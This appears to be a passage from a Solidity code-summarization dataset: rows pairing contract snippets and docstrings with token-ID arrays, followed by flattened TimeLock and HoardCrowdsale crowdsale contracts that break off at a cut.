./partial_match/1/0xaC74BA2c5b98e7D7E21f6b29FE2CaeabD56eA0ed/sources/HYDUKO.sol | * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. _Available since v3.4._/ | function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
| 4,253,364 | [
1,
1356,
326,
10022,
434,
3739,
10415,
2795,
9088,
12321,
16,
598,
279,
16536,
635,
3634,
2982,
18,
389,
5268,
3241,
331,
23,
18,
24,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
775,
1739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
6430,
16,
2254,
5034,
13,
203,
565,
288,
203,
3639,
22893,
288,
203,
5411,
309,
261,
70,
422,
374,
13,
327,
261,
5743,
16,
374,
1769,
203,
5411,
327,
261,
3767,
16,
279,
738,
324,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**************************************************************************
* ____ _
* / ___| | | __ _ _ _ ___ _ __
* | | _____ | | / _` || | | | / _ \| '__|
* | |___|_____|| |___| (_| || |_| || __/| |
* \____| |_____|\__,_| \__, | \___||_|
* |___/
*
**************************************************************************
*
* The MIT License (MIT)
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2016-2021 Cyril Lapinte
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************
*
* Flatten Contract: TimeLock
*
*
**************************************************************************/
// File: @c-layer/common/contracts/operable/Ownable.sol
pragma solidity ^0.6.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* @dev functions, this simplifies the implementation of "user permissions".
*
*
* Error messages
* OW01: Message sender is not the owner
* OW02: New owner must be valid
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "OW01");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "OW02");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: @c-layer/governance/contracts/lock/TimeLock.sol
pragma solidity ^0.6.0;
/**
* @title TimeLock
* @dev Time locked contract
*
* Error messages
* TL01: Contract is locked
* TL02: Target must be defined
* TL03: Cannot be locked in the past
* TL04: Execution must be successfull
*/
contract TimeLock is Ownable {
address payable public target;
uint64 public lockedUntil;
modifier whenUnlocked() {
require(lockedUntil < currentTime(), "TL01");
_;
}
constructor(address payable _target, uint64 _lockedUntil) public {
require(_target != address(0), "TL02");
require(_lockedUntil > currentTime(), "TL03");
lockedUntil = _lockedUntil;
target = _target;
}
receive() external payable {
require(callInternal(), "TL04");
}
fallback() external payable {
require(callInternal(), "TL04");
}
function callInternal() internal onlyOwner whenUnlocked returns (bool) {
(bool success, ) =
// solhint-disable-next-line avoid-call-value, avoid-low-level-calls
target.call{value: msg.value}(msg.data);
return success;
}
/**
* @dev current time
*/
function currentTime() internal view returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return now;
}
} | * @title Ownable @dev The Ownable contract has an owner address, and provides basic authorization control @dev functions, this simplifies the implementation of "user permissions". Error messages OW01: Message sender is not the owner OW02: New owner must be valid/ | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "OW01");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "OW02");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
| 1,387,082 | [
1,
5460,
429,
225,
1021,
14223,
6914,
6835,
711,
392,
3410,
1758,
16,
471,
8121,
5337,
6093,
3325,
225,
4186,
16,
333,
9330,
5032,
326,
4471,
434,
315,
1355,
4371,
9654,
1068,
2743,
282,
18233,
1611,
30,
2350,
5793,
353,
486,
326,
3410,
282,
18233,
3103,
30,
1166,
3410,
1297,
506,
923,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
14223,
6914,
288,
203,
225,
1758,
1071,
3410,
31,
203,
203,
225,
871,
14223,
9646,
5310,
16290,
27373,
12,
2867,
8808,
2416,
5541,
1769,
203,
225,
871,
14223,
9646,
5310,
1429,
4193,
12,
203,
565,
1758,
8808,
2416,
5541,
16,
203,
565,
1758,
8808,
394,
5541,
203,
225,
11272,
203,
203,
203,
203,
203,
225,
3885,
1435,
1071,
288,
203,
565,
3410,
273,
1234,
18,
15330,
31,
203,
225,
289,
203,
203,
225,
9606,
1338,
5541,
1435,
288,
203,
565,
2583,
12,
3576,
18,
15330,
422,
3410,
16,
315,
7306,
1611,
8863,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
1654,
8386,
5460,
12565,
1435,
1071,
1338,
5541,
288,
203,
565,
3626,
14223,
9646,
5310,
16290,
27373,
12,
8443,
1769,
203,
565,
3410,
273,
1758,
12,
20,
1769,
203,
225,
289,
203,
203,
225,
445,
7412,
5460,
12565,
12,
2867,
389,
2704,
5541,
13,
1071,
1338,
5541,
288,
203,
565,
389,
13866,
5460,
12565,
24899,
2704,
5541,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
13866,
5460,
12565,
12,
2867,
389,
2704,
5541,
13,
2713,
288,
203,
565,
2583,
24899,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
7306,
3103,
8863,
203,
565,
3626,
14223,
9646,
5310,
1429,
4193,
12,
8443,
16,
389,
2704,
5541,
1769,
203,
565,
3410,
273,
389,
2704,
5541,
31,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/8453/0x266c8f8cdA4360506b8D32Dc5C4102350a069aCD/sources/project_/contracts/Max-20-UUPS-LZ.sol | @dev approve @return success @notice Allows _spender to withdraw from your account multiple times, up to the _value amount. If this function is called again it overwrites the current allowance with _value. @notice To prevent attack vectors like the one described here and discussed here, clients SHOULD make sure to create user interfaces in such a way that they set the allowance first to 0 before setting it to another value for the same spender. THOUGH The contract itself shouldn’t enforce it, to allow backwards compatibility with contracts deployed before | function approve(
address _spender
, uint256 _value
) external
virtual
override
returns (bool success) {
success = token20.setApprove(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
}
| 11,561,622 | [
1,
12908,
537,
327,
2216,
225,
25619,
389,
87,
1302,
264,
358,
598,
9446,
628,
3433,
2236,
3229,
4124,
16,
731,
358,
326,
389,
1132,
3844,
18,
540,
971,
333,
445,
353,
2566,
3382,
518,
28151,
326,
783,
1699,
1359,
598,
389,
1132,
18,
225,
2974,
5309,
13843,
10046,
3007,
326,
1245,
11893,
2674,
471,
19169,
407,
730,
2674,
16,
7712,
540,
6122,
31090,
1221,
3071,
358,
752,
729,
7349,
316,
4123,
279,
4031,
716,
2898,
444,
326,
1699,
1359,
540,
1122,
358,
374,
1865,
3637,
518,
358,
4042,
460,
364,
326,
1967,
17571,
264,
18,
7662,
26556,
16715,
1021,
6835,
540,
6174,
12044,
163,
227,
252,
88,
12980,
518,
16,
358,
1699,
12727,
8926,
598,
20092,
19357,
540,
1865,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
6617,
537,
12,
203,
565,
1758,
389,
87,
1302,
264,
203,
225,
269,
2254,
5034,
389,
1132,
203,
225,
262,
3903,
203,
565,
5024,
203,
565,
3849,
203,
565,
1135,
261,
6430,
2216,
13,
288,
203,
565,
2216,
273,
1147,
3462,
18,
542,
12053,
537,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
565,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*
** Code Modified by : TokenMagic
** Change Log:
*** Solidity version upgraded from 0.4.8 to 0.4.23
*/
pragma solidity ^0.4.23;
/*
* Ownable Contract
* Added by : TokenMagic
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* Haltable Contract
* Added by : TokenMagic
*/
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier stopNonOwnersInEmergency {
require(!halted && msg.sender == owner);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
/*
* SafeMathLib Library
* Added by : TokenMagic
*/
library SafeMathLib {
function times(uint a, uint b) public pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
* Token Contract
* Added by : TokenMagic
*/
contract FractionalERC20 {
uint public decimals;
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/*
* Crowdsale Contract
* Added by : TokenMagic
*/
contract HoardCrowdsale is Haltable {
using SafeMathLib for uint;
/* The token we are selling */
FractionalERC20 public token;
/* tokens will be transfered from this address */
address public multisigWallet;
/* Founders team MultiSig Wallet address */
address public foundersTeamMultisig;
/* if the funding goal is not reached, investors may withdraw their funds */
uint public minimumFundingGoal = 3265000000000000000000; // 3265 ETH in Wei
/* the UNIX timestamp start date of the crowdsale */
uint public startsAt;
/* the UNIX timestamp end date of the crowdsale */
uint public endsAt;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* the number of tokens already sold through this contract for presale*/
uint public presaleTokensSold = 0;
/* the number of tokens already sold before presale*/
uint public prePresaleTokensSold = 0;
/* Maximum number tokens that presale can assign*/
uint public presaleTokenLimit = 80000000000000000000000000; //80,000,000 token
/* Maximum number tokens that crowdsale can assign*/
uint public crowdsaleTokenLimit = 120000000000000000000000000; //120,000,000 token
/** Total percent of tokens allocated to the founders team multiSig wallet at the end of the sale */
uint public percentageOfSoldTokensForFounders = 50; // 50% of solded token as bonus to founders team multiSig wallet
/* How much bonus tokens we allocated */
uint public tokensForFoundingBoardWallet;
/* The party who holds the full token pool and has approve()'ed tokens for this crowdsale */
address public beneficiary;
/* How many wei of funding we have raised */
uint public weiRaised = 0;
/* Calculate incoming funds from presale contracts and addresses */
uint public presaleWeiRaised = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* How much wei we have returned back to the contract after a failed crowdfund. */
uint public loadedRefund = 0;
/* How much wei we have given back to investors.*/
uint public weiRefunded = 0;
/* Has this crowdsale been finalized */
bool public finalized;
/** How much ETH each address has invested to this crowdsale */
mapping (address => uint256) public investedAmountOf;
/** How much tokens this crowdsale has credited for each investor address */
mapping (address => uint256) public tokenAmountOf;
/** Presale Addresses that are allowed to invest. */
mapping (address => bool) public presaleWhitelist;
/** Addresses that are allowed to invest. */
mapping (address => bool) public participantWhitelist;
/** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */
uint public ownerTestValue;
uint public oneTokenInWei;
/** State machine
*
* - Preparing: All contract initialization calls and variables have not been set yet
* - Prefunding: We have not passed start time yet
* - Funding: Active crowdsale
* - Success: Minimum funding goal reached
* - Failure: Minimum funding goal not reached before ending time
* - Finalized: The finalized has been called and succesfully executed
* - Refunding: Refunds are loaded on the contract for reclaim.
*/
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// Address participation whitelist status changed
event Whitelisted(address[] addr, bool status);
// Presale Address participation whitelist status changed
event PresaleWhitelisted(address addr, bool status);
// Crowdsale start time has been changed
event StartsAtChanged(uint newStartsAt);
// Crowdsale end time has been changed
event EndsAtChanged(uint newEndsAt);
// Crowdsale token price has been changed
event TokenPriceChanged(uint tokenPrice);
// Crowdsale multisig address has been changed
event MultiSigChanged(address newAddr);
// Crowdsale beneficiary address has been changed
event BeneficiaryChanged(address newAddr);
// Founders Team Wallet Address Changed
event FoundersWalletChanged(address newAddr);
// Founders Team Token Allocation Percentage Changed
event FoundersTokenAllocationChanged(uint newValue);
// Pre-Presale Tokens Value Changed
event PrePresaleTokensValueChanged(uint newValue);
constructor(address _token, uint _oneTokenInWei, address _multisigWallet, uint _start, uint _end, address _beneficiary, address _foundersTeamMultisig) public {
require(_multisigWallet != address(0) && _start != 0 && _end != 0 && _start <= _end);
owner = msg.sender;
token = FractionalERC20(_token);
oneTokenInWei = _oneTokenInWei;
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
beneficiary = _beneficiary;
foundersTeamMultisig = _foundersTeamMultisig;
}
/**
* Just send in money and get tokens.
* Modified by : TokenMagic
*/
function() payable public {
investInternal(msg.sender,0);
}
/**
* Pre-sale contract call this function and get tokens
* Modified by : TokenMagic
*/
function invest(address addr,uint tokenAmount) public payable {
investInternal(addr,tokenAmount);
}
/**
* Make an investment.
*
* Crowdsale must be running for one to invest.
* We must have not pressed the emergency brake.
*
* @param receiver The Ethereum address who receives the tokens
*
* @return tokenAmount How mony tokens were bought
*
* Modified by : TokenMagic
*/
function investInternal(address receiver, uint tokens) stopInEmergency internal returns(uint tokensBought) {
uint weiAmount = msg.value;
uint tokenAmount = tokens;
if(getState() == State.PreFunding || getState() == State.Funding) {
if(presaleWhitelist[msg.sender]){
// Allow presale particaipants
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
presaleTokensSold = presaleTokensSold.add(tokenAmount);
require(presaleTokensSold <= presaleTokenLimit);
}
else if(participantWhitelist[receiver]){
uint multiplier = 10 ** token.decimals();
tokenAmount = weiAmount.times(multiplier) / oneTokenInWei;
// Allow whitelisted participants
}
else {
revert();
}
} else {
// Unwanted state
revert();
}
// Dust transaction
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
require(tokensSold.sub(presaleTokensSold) <= crowdsaleTokenLimit);
// Check that we did not bust the cap
require(!isBreakingCap(tokenAmount));
require(token.transferFrom(beneficiary, receiver, tokenAmount));
emit Invested(receiver, weiAmount, tokenAmount);
multisigWallet.transfer(weiAmount);
return tokenAmount;
}
/**
* Finalize a succcesful crowdsale.
* The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens.
* Added by : TokenMagic
*/
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized); // Not already finalized
// How many % of tokens the founders and others get
tokensForFoundingBoardWallet = tokensSold.times(percentageOfSoldTokensForFounders) / 100;
tokensForFoundingBoardWallet = tokensForFoundingBoardWallet.add(prePresaleTokensSold);
require(token.transferFrom(beneficiary, foundersTeamMultisig, tokensForFoundingBoardWallet));
finalized = true;
}
/**
* Allow owner to change the percentage value of solded tokens to founders team wallet after finalize. Default value is 50.
* Added by : TokenMagic
*/
function setFoundersTokenAllocation(uint _percentageOfSoldTokensForFounders) public onlyOwner{
percentageOfSoldTokensForFounders = _percentageOfSoldTokensForFounders;
emit FoundersTokenAllocationChanged(percentageOfSoldTokensForFounders);
}
/**
* Allow crowdsale owner to close early or extend the crowdsale.
*
* This is useful e.g. for a manual soft cap implementation:
* - after X amount is reached determine manual closing
*
* This may put the crowdsale to an invalid state,
* but we trust owners know what they are doing.
*
*/
function setEndsAt(uint time) onlyOwner public {
require(now < time && startsAt < time);
endsAt = time;
emit EndsAtChanged(endsAt);
}
/**
* Allow owner to change crowdsale startsAt data.
* Added by : TokenMagic
**/
function setStartsAt(uint time) onlyOwner public {
require(time < endsAt);
startsAt = time;
emit StartsAtChanged(startsAt);
}
/**
* Allow to change the team multisig address in the case of emergency.
*
* This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun
* (we have done only few test transactions). After the crowdsale is going
* then multisig address stays locked for the safety reasons.
*/
function setMultisig(address addr) public onlyOwner {
multisigWallet = addr;
emit MultiSigChanged(addr);
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() public inState(State.Refunding) {
// require(token.transferFrom(msg.sender,address(this),tokenAmountOf[msg.sender])); user should approve their token to this contract before this.
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
emit Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
/**
* @return true if the crowdsale has raised enough money to be a successful.
*/
function isMinimumGoalReached() public view returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
/**
* Crowdfund state machine management.
* We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale.
* Modified by : TokenMagic
*/
function getState() public view returns (State) {
if(finalized) return State.Finalized;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
/** This is for manual testing of multisig wallet interaction */
function setOwnerTestValue(uint val) onlyOwner public {
ownerTestValue = val;
}
/**
* Allow owner to change PrePresaleTokensSold value
* Added by : TokenMagic
**/
function setPrePresaleTokens(uint _value) onlyOwner public {
prePresaleTokensSold = _value;
emit PrePresaleTokensValueChanged(_value);
}
/**
* Allow addresses to do participation.
* Modified by : TokenMagic
*/
function setParticipantWhitelist(address[] addr, bool status) onlyOwner public {
for(uint i = 0; i < addr.length; i++ ){
participantWhitelist[addr[i]] = status;
}
emit Whitelisted(addr, status);
}
/**
* Allow presale to do participation.
* Added by : TokenMagic
*/
function setPresaleWhitelist(address addr, bool status) onlyOwner public {
presaleWhitelist[addr] = status;
emit PresaleWhitelisted(addr, status);
}
/**
* Allow crowdsale owner to change the crowdsale token price.
* Added by : TokenMagic
*/
function setPricing(uint _oneTokenInWei) onlyOwner public{
oneTokenInWei = _oneTokenInWei;
emit TokenPriceChanged(oneTokenInWei);
}
/**
* Allow crowdsale owner to change the crowdsale beneficiary address.
* Added by : TokenMagic
*/
function changeBeneficiary(address _beneficiary) onlyOwner public{
beneficiary = _beneficiary;
emit BeneficiaryChanged(beneficiary);
}
/**
* Allow crowdsale owner to change the crowdsale founders team address.
* Added by : TokenMagic
*/
function changeFoundersWallet(address _foundersTeamMultisig) onlyOwner public{
foundersTeamMultisig = _foundersTeamMultisig;
emit FoundersWalletChanged(foundersTeamMultisig);
}
/** Interface marker. */
function isCrowdsale() public pure returns (bool) {
return true;
}
//
// Modifiers
//
/** Modified allowing execution only if the crowdsale is currently running. */
modifier inState(State state) {
require(getState() == state);
_;
}
/**
* Called from invest() to confirm if the curret investment does not break our cap rule.
*/
